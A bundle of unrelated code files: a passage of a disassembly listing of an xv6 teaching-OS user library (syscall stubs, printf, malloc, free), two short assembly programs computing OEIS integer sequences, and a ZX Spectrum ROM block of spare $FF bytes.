301: c3 ret
00000302 <getpid>:
SYSCALL(getpid)
302: b8 0b 00 00 00 mov $0xb,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <sbrk>:
SYSCALL(sbrk)
30a: b8 0c 00 00 00 mov $0xc,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <sleep>:
SYSCALL(sleep)
312: b8 0d 00 00 00 mov $0xd,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <uptime>:
SYSCALL(uptime)
31a: b8 0e 00 00 00 mov $0xe,%eax
31f: cd 40 int $0x40
321: c3 ret
00000322 <cps>:
SYSCALL(cps)
322: b8 16 00 00 00 mov $0x16,%eax
327: cd 40 int $0x40
329: c3 ret
0000032a <chpr>:
SYSCALL(chpr)
32a: b8 17 00 00 00 mov $0x17,%eax
32f: cd 40 int $0x40
331: c3 ret
00000332 <setTickets>:
SYSCALL(setTickets)
332: b8 18 00 00 00 mov $0x18,%eax
337: cd 40 int $0x40
339: c3 ret
0000033a <thread_create>:
SYSCALL(thread_create)
33a: b8 19 00 00 00 mov $0x19,%eax
33f: cd 40 int $0x40
341: c3 ret
00000342 <thread_exit>:
SYSCALL(thread_exit)
342: b8 1a 00 00 00 mov $0x1a,%eax
347: cd 40 int $0x40
349: c3 ret
0000034a <thread_join>:
SYSCALL(thread_join)
34a: b8 1b 00 00 00 mov $0x1b,%eax
34f: cd 40 int $0x40
351: c3 ret
00000352 <gettid>:
SYSCALL(gettid)
352: b8 1c 00 00 00 mov $0x1c,%eax
357: cd 40 int $0x40
359: c3 ret
35a: 66 90 xchg %ax,%ax
35c: 66 90 xchg %ax,%ax
35e: 66 90 xchg %ax,%ax
00000360 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
360: 55 push %ebp
361: 89 e5 mov %esp,%ebp
363: 57 push %edi
364: 56 push %esi
365: 53 push %ebx
366: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
369: 85 d2 test %edx,%edx
{
36b: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
36e: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
370: 79 76 jns 3e8 <printint+0x88>
372: f6 45 08 01 testb $0x1,0x8(%ebp)
376: 74 70 je 3e8 <printint+0x88>
x = -xx;
378: f7 d8 neg %eax
neg = 1;
37a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
381: 31 f6 xor %esi,%esi
383: 8d 5d d7 lea -0x29(%ebp),%ebx
386: eb 0a jmp 392 <printint+0x32>
388: 90 nop
389: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
390: 89 fe mov %edi,%esi
392: 31 d2 xor %edx,%edx
394: 8d 7e 01 lea 0x1(%esi),%edi
397: f7 f1 div %ecx
399: 0f b6 92 60 07 00 00 movzbl 0x760(%edx),%edx
}while((x /= base) != 0);
3a0: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
3a2: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
3a5: 75 e9 jne 390 <printint+0x30>
if(neg)
3a7: 8b 45 c4 mov -0x3c(%ebp),%eax
3aa: 85 c0 test %eax,%eax
3ac: 74 08 je 3b6 <printint+0x56>
buf[i++] = '-';
3ae: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
3b3: 8d 7e 02 lea 0x2(%esi),%edi
3b6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
3ba: 8b 7d c0 mov -0x40(%ebp),%edi
3bd: 8d 76 00 lea 0x0(%esi),%esi
3c0: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
3c3: 83 ec 04 sub $0x4,%esp
3c6: 83 ee 01 sub $0x1,%esi
3c9: 6a 01 push $0x1
3cb: 53 push %ebx
3cc: 57 push %edi
3cd: 88 45 d7 mov %al,-0x29(%ebp)
3d0: e8 cd fe ff ff call 2a2 <write>
while(--i >= 0)
3d5: 83 c4 10 add $0x10,%esp
3d8: 39 de cmp %ebx,%esi
3da: 75 e4 jne 3c0 <printint+0x60>
putc(fd, buf[i]);
}
3dc: 8d 65 f4 lea -0xc(%ebp),%esp
3df: 5b pop %ebx
3e0: 5e pop %esi
3e1: 5f pop %edi
3e2: 5d pop %ebp
3e3: c3 ret
3e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
3e8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
3ef: eb 90 jmp 381 <printint+0x21>
3f1: eb 0d jmp 400 <printf>
3f3: 90 nop
3f4: 90 nop
3f5: 90 nop
3f6: 90 nop
3f7: 90 nop
3f8: 90 nop
3f9: 90 nop
3fa: 90 nop
3fb: 90 nop
3fc: 90 nop
3fd: 90 nop
3fe: 90 nop
3ff: 90 nop
00000400 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
400: 55 push %ebp
401: 89 e5 mov %esp,%ebp
403: 57 push %edi
404: 56 push %esi
405: 53 push %ebx
406: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
409: 8b 75 0c mov 0xc(%ebp),%esi
40c: 0f b6 1e movzbl (%esi),%ebx
40f: 84 db test %bl,%bl
411: 0f 84 b3 00 00 00 je 4ca <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
417: 8d 45 10 lea 0x10(%ebp),%eax
41a: 83 c6 01 add $0x1,%esi
state = 0;
41d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
41f: 89 45 d4 mov %eax,-0x2c(%ebp)
422: eb 2f jmp 453 <printf+0x53>
424: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
428: 83 f8 25 cmp $0x25,%eax
42b: 0f 84 a7 00 00 00 je 4d8 <printf+0xd8>
write(fd, &c, 1);
431: 8d 45 e2 lea -0x1e(%ebp),%eax
434: 83 ec 04 sub $0x4,%esp
437: 88 5d e2 mov %bl,-0x1e(%ebp)
43a: 6a 01 push $0x1
43c: 50 push %eax
43d: ff 75 08 pushl 0x8(%ebp)
440: e8 5d fe ff ff call 2a2 <write>
445: 83 c4 10 add $0x10,%esp
448: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
44b: 0f b6 5e ff movzbl -0x1(%esi),%ebx
44f: 84 db test %bl,%bl
451: 74 77 je 4ca <printf+0xca>
if(state == 0){
453: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
455: 0f be cb movsbl %bl,%ecx
458: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
45b: 74 cb je 428 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
45d: 83 ff 25 cmp $0x25,%edi
460: 75 e6 jne 448 <printf+0x48>
if(c == 'd'){
462: 83 f8 64 cmp $0x64,%eax
465: 0f 84 05 01 00 00 je 570 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
46b: 81 e1 f7 00 00 00 and $0xf7,%ecx
471: 83 f9 70 cmp $0x70,%ecx
474: 74 72 je 4e8 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
476: 83 f8 73 cmp $0x73,%eax
479: 0f 84 99 00 00 00 je 518 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
47f: 83 f8 63 cmp $0x63,%eax
482: 0f 84 08 01 00 00 je 590 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
488: 83 f8 25 cmp $0x25,%eax
48b: 0f 84 ef 00 00 00 je 580 <printf+0x180>
write(fd, &c, 1);
491: 8d 45 e7 lea -0x19(%ebp),%eax
494: 83 ec 04 sub $0x4,%esp
497: c6 45 e7 25 movb $0x25,-0x19(%ebp)
49b: 6a 01 push $0x1
49d: 50 push %eax
49e: ff 75 08 pushl 0x8(%ebp)
4a1: e8 fc fd ff ff call 2a2 <write>
4a6: 83 c4 0c add $0xc,%esp
4a9: 8d 45 e6 lea -0x1a(%ebp),%eax
4ac: 88 5d e6 mov %bl,-0x1a(%ebp)
4af: 6a 01 push $0x1
4b1: 50 push %eax
4b2: ff 75 08 pushl 0x8(%ebp)
4b5: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4b8: 31 ff xor %edi,%edi
write(fd, &c, 1);
4ba: e8 e3 fd ff ff call 2a2 <write>
for(i = 0; fmt[i]; i++){
4bf: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
4c3: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
4c6: 84 db test %bl,%bl
4c8: 75 89 jne 453 <printf+0x53>
}
}
}
4ca: 8d 65 f4 lea -0xc(%ebp),%esp
4cd: 5b pop %ebx
4ce: 5e pop %esi
4cf: 5f pop %edi
4d0: 5d pop %ebp
4d1: c3 ret
4d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
4d8: bf 25 00 00 00 mov $0x25,%edi
4dd: e9 66 ff ff ff jmp 448 <printf+0x48>
4e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
4e8: 83 ec 0c sub $0xc,%esp
4eb: b9 10 00 00 00 mov $0x10,%ecx
4f0: 6a 00 push $0x0
4f2: 8b 7d d4 mov -0x2c(%ebp),%edi
4f5: 8b 45 08 mov 0x8(%ebp),%eax
4f8: 8b 17 mov (%edi),%edx
4fa: e8 61 fe ff ff call 360 <printint>
ap++;
4ff: 89 f8 mov %edi,%eax
501: 83 c4 10 add $0x10,%esp
state = 0;
504: 31 ff xor %edi,%edi
ap++;
506: 83 c0 04 add $0x4,%eax
509: 89 45 d4 mov %eax,-0x2c(%ebp)
50c: e9 37 ff ff ff jmp 448 <printf+0x48>
511: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
518: 8b 45 d4 mov -0x2c(%ebp),%eax
51b: 8b 08 mov (%eax),%ecx
ap++;
51d: 83 c0 04 add $0x4,%eax
520: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
523: 85 c9 test %ecx,%ecx
525: 0f 84 8e 00 00 00 je 5b9 <printf+0x1b9>
while(*s != 0){
52b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
52e: 31 ff xor %edi,%edi
s = (char*)*ap;
530: 89 cb mov %ecx,%ebx
while(*s != 0){
532: 84 c0 test %al,%al
534: 0f 84 0e ff ff ff je 448 <printf+0x48>
53a: 89 75 d0 mov %esi,-0x30(%ebp)
53d: 89 de mov %ebx,%esi
53f: 8b 5d 08 mov 0x8(%ebp),%ebx
542: 8d 7d e3 lea -0x1d(%ebp),%edi
545: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
548: 83 ec 04 sub $0x4,%esp
s++;
54b: 83 c6 01 add $0x1,%esi
54e: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
551: 6a 01 push $0x1
553: 57 push %edi
554: 53 push %ebx
555: e8 48 fd ff ff call 2a2 <write>
while(*s != 0){
55a: 0f b6 06 movzbl (%esi),%eax
55d: 83 c4 10 add $0x10,%esp
560: 84 c0 test %al,%al
562: 75 e4 jne 548 <printf+0x148>
564: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
567: 31 ff xor %edi,%edi
569: e9 da fe ff ff jmp 448 <printf+0x48>
56e: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
570: 83 ec 0c sub $0xc,%esp
573: b9 0a 00 00 00 mov $0xa,%ecx
578: 6a 01 push $0x1
57a: e9 73 ff ff ff jmp 4f2 <printf+0xf2>
57f: 90 nop
write(fd, &c, 1);
580: 83 ec 04 sub $0x4,%esp
583: 88 5d e5 mov %bl,-0x1b(%ebp)
586: 8d 45 e5 lea -0x1b(%ebp),%eax
589: 6a 01 push $0x1
58b: e9 21 ff ff ff jmp 4b1 <printf+0xb1>
putc(fd, *ap);
590: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
593: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
596: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
598: 6a 01 push $0x1
ap++;
59a: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
59d: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
5a0: 8d 45 e4 lea -0x1c(%ebp),%eax
5a3: 50 push %eax
5a4: ff 75 08 pushl 0x8(%ebp)
5a7: e8 f6 fc ff ff call 2a2 <write>
ap++;
5ac: 89 7d d4 mov %edi,-0x2c(%ebp)
5af: 83 c4 10 add $0x10,%esp
state = 0;
5b2: 31 ff xor %edi,%edi
5b4: e9 8f fe ff ff jmp 448 <printf+0x48>
s = "(null)";
5b9: bb 58 07 00 00 mov $0x758,%ebx
while(*s != 0){
5be: b8 28 00 00 00 mov $0x28,%eax
5c3: e9 72 ff ff ff jmp 53a <printf+0x13a>
5c8: 66 90 xchg %ax,%ax
5ca: 66 90 xchg %ax,%ax
5cc: 66 90 xchg %ax,%ax
5ce: 66 90 xchg %ax,%ax
000005d0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
5d0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5d1: a1 04 0a 00 00 mov 0xa04,%eax
{
5d6: 89 e5 mov %esp,%ebp
5d8: 57 push %edi
5d9: 56 push %esi
5da: 53 push %ebx
5db: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
5de: 8d 4b f8 lea -0x8(%ebx),%ecx
5e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5e8: 39 c8 cmp %ecx,%eax
5ea: 8b 10 mov (%eax),%edx
5ec: 73 32 jae 620 <free+0x50>
5ee: 39 d1 cmp %edx,%ecx
5f0: 72 04 jb 5f6 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5f2: 39 d0 cmp %edx,%eax
5f4: 72 32 jb 628 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
5f6: 8b 73 fc mov -0x4(%ebx),%esi
5f9: 8d 3c f1 lea (%ecx,%esi,8),%edi
5fc: 39 fa cmp %edi,%edx
5fe: 74 30 je 630 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
600: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
603: 8b 50 04 mov 0x4(%eax),%edx
606: 8d 34 d0 lea (%eax,%edx,8),%esi
609: 39 f1 cmp %esi,%ecx
60b: 74 3a je 647 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
60d: 89 08 mov %ecx,(%eax)
freep = p;
60f: a3 04 0a 00 00 mov %eax,0xa04
}
614: 5b pop %ebx
615: 5e pop %esi
616: 5f pop %edi
617: 5d pop %ebp
618: c3 ret
619: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
620: 39 d0 cmp %edx,%eax
622: 72 04 jb 628 <free+0x58>
624: 39 d1 cmp %edx,%ecx
626: 72 ce jb 5f6 <free+0x26>
{
628: 89 d0 mov %edx,%eax
62a: eb bc jmp 5e8 <free+0x18>
62c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
630: 03 72 04 add 0x4(%edx),%esi
633: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
636: 8b 10 mov (%eax),%edx
638: 8b 12 mov (%edx),%edx
63a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
63d: 8b 50 04 mov 0x4(%eax),%edx
640: 8d 34 d0 lea (%eax,%edx,8),%esi
643: 39 f1 cmp %esi,%ecx
645: 75 c6 jne 60d <free+0x3d>
p->s.size += bp->s.size;
647: 03 53 fc add -0x4(%ebx),%edx
freep = p;
64a: a3 04 0a 00 00 mov %eax,0xa04
p->s.size += bp->s.size;
64f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
652: 8b 53 f8 mov -0x8(%ebx),%edx
655: 89 10 mov %edx,(%eax)
}
657: 5b pop %ebx
658: 5e pop %esi
659: 5f pop %edi
65a: 5d pop %ebp
65b: c3 ret
65c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000660 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
660: 55 push %ebp
661: 89 e5 mov %esp,%ebp
663: 57 push %edi
664: 56 push %esi
665: 53 push %ebx
666: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
669: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
66c: 8b 15 04 0a 00 00 mov 0xa04,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
672: 8d 78 07 lea 0x7(%eax),%edi
675: c1 ef 03 shr $0x3,%edi
678: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
67b: 85 d2 test %edx,%edx
67d: 0f 84 9d 00 00 00 je 720 <malloc+0xc0>
683: 8b 02 mov (%edx),%eax
685: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
688: 39 cf cmp %ecx,%edi
68a: 76 6c jbe 6f8 <malloc+0x98>
68c: 81 ff 00 10 00 00 cmp $0x1000,%edi
692: bb 00 10 00 00 mov $0x1000,%ebx
697: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
69a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
6a1: eb 0e jmp 6b1 <malloc+0x51>
6a3: 90 nop
6a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
6a8: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
6aa: 8b 48 04 mov 0x4(%eax),%ecx
6ad: 39 f9 cmp %edi,%ecx
6af: 73 47 jae 6f8 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
6b1: 39 05 04 0a 00 00 cmp %eax,0xa04
6b7: 89 c2 mov %eax,%edx
6b9: 75 ed jne 6a8 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
6bb: 83 ec 0c sub $0xc,%esp
6be: 56 push %esi
6bf: e8 46 fc ff ff call 30a <sbrk>
if(p == (char*)-1)
6c4: 83 c4 10 add $0x10,%esp
6c7: 83 f8 ff cmp $0xffffffff,%eax
6ca: 74 1c je 6e8 <malloc+0x88>
hp->s.size = nu;
6cc: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
6cf: 83 ec 0c sub $0xc,%esp
6d2: 83 c0 08 add $0x8,%eax
6d5: 50 push %eax
6d6: e8 f5 fe ff ff call 5d0 <free>
return freep;
6db: 8b 15 04 0a 00 00 mov 0xa04,%edx
if((p = morecore(nunits)) == 0)
6e1: 83 c4 10 add $0x10,%esp
6e4: 85 d2 test %edx,%edx
6e6: 75 c0 jne 6a8 <malloc+0x48>
return 0;
}
}
6e8: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
6eb: 31 c0 xor %eax,%eax
}
6ed: 5b pop %ebx
6ee: 5e pop %esi
6ef: 5f pop %edi
6f0: 5d pop %ebp
6f1: c3 ret
6f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
6f8: 39 cf cmp %ecx,%edi
6fa: 74 54 je 750 <malloc+0xf0>
p->s.size -= nunits;
6fc: 29 f9 sub %edi,%ecx
6fe: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
701: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
704: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
707: 89 15 04 0a 00 00 mov %edx,0xa04
}
70d: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
710: 83 c0 08 add $0x8,%eax
}
713: 5b pop %ebx
714: 5e pop %esi
715: 5f pop %edi
716: 5d pop %ebp
717: c3 ret
718: 90 nop
719: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
720: c7 05 04 0a 00 00 08 movl $0xa08,0xa04
727: 0a 00 00
72a: c7 05 08 0a 00 00 08 movl $0xa08,0xa08
731: 0a 00 00
base.s.size = 0;
734: b8 08 0a 00 00 mov $0xa08,%eax
739: c7 05 0c 0a 00 00 00 movl $0x0,0xa0c
740: 00 00 00
743: e9 44 ff ff ff jmp 68c <malloc+0x2c>
748: 90 nop
749: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
750: 8b 08 mov (%eax),%ecx
752: 89 0a mov %ecx,(%edx)
754: eb b1 jmp 707 <malloc+0xa7>
|
; A129342: a(2n) = a(n) + 2^(2n), a(2n+1) = 2^(2n+1).
; 0,2,6,8,22,32,72,128,278,512,1056,2048,4168,8192,16512,32768,65814,131072,262656,524288,1049632,2097152,4196352,8388608,16781384,33554432,67117056,134217728,268451968,536870912,1073774592
mov $20,$0
mov $22,$0
lpb $22
mov $0,$20
sub $22,1
sub $0,$22
mov $16,$0
mov $18,2
lpb $18
mov $0,$16
sub $18,1
add $0,$18
sub $0,1
mov $12,$0
mov $14,2
lpb $14
clr $0,12
mov $0,$12
sub $14,1
add $0,$14
sub $0,1
lpb $0
mov $9,2
pow $9,$0
div $0,2
sub $9,1
add $6,$9
lpe
mov $1,$6
mov $15,$14
lpb $15
mov $13,$1
sub $15,1
lpe
lpe
lpb $12
mov $12,0
sub $13,$1
lpe
mov $1,$13
mov $19,$18
lpb $19
mov $17,$1
sub $19,1
lpe
lpe
lpb $16
mov $16,0
sub $17,$1
lpe
mov $1,$17
mul $1,2
add $21,$1
lpe
mov $1,$21
|
; A273372: Squares ending in digit 1.
; 1,81,121,361,441,841,961,1521,1681,2401,2601,3481,3721,4761,5041,6241,6561,7921,8281,9801,10201,11881,12321,14161,14641,16641,17161,19321,19881,22201,22801,25281,25921,28561,29241,32041,32761,35721,36481,39601,40401,43681,44521,47961,48841,52441,53361,57121,58081,62001,63001,67081,68121,72361,73441,77841,78961,83521,84681,89401,90601,95481,96721,101761,103041,108241,109561,114921,116281,121801,123201,128881,130321,136161,137641,143641,145161,151321,152881,159201,160801,167281,168921,175561,177241,184041,185761,192721,194481,201601,203401,210681,212521,219961,221841,229441,231361,239121,241081,249001
add $0,1
mov $2,$0
div $0,2
mul $2,$0
bin $0,2
add $0,$2
mul $0,40
add $0,1
|
; ---------------------
; THE 'SPARE' LOCATIONS
; ---------------------
;; spare
L386E: DEFB $FF, $FF ;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
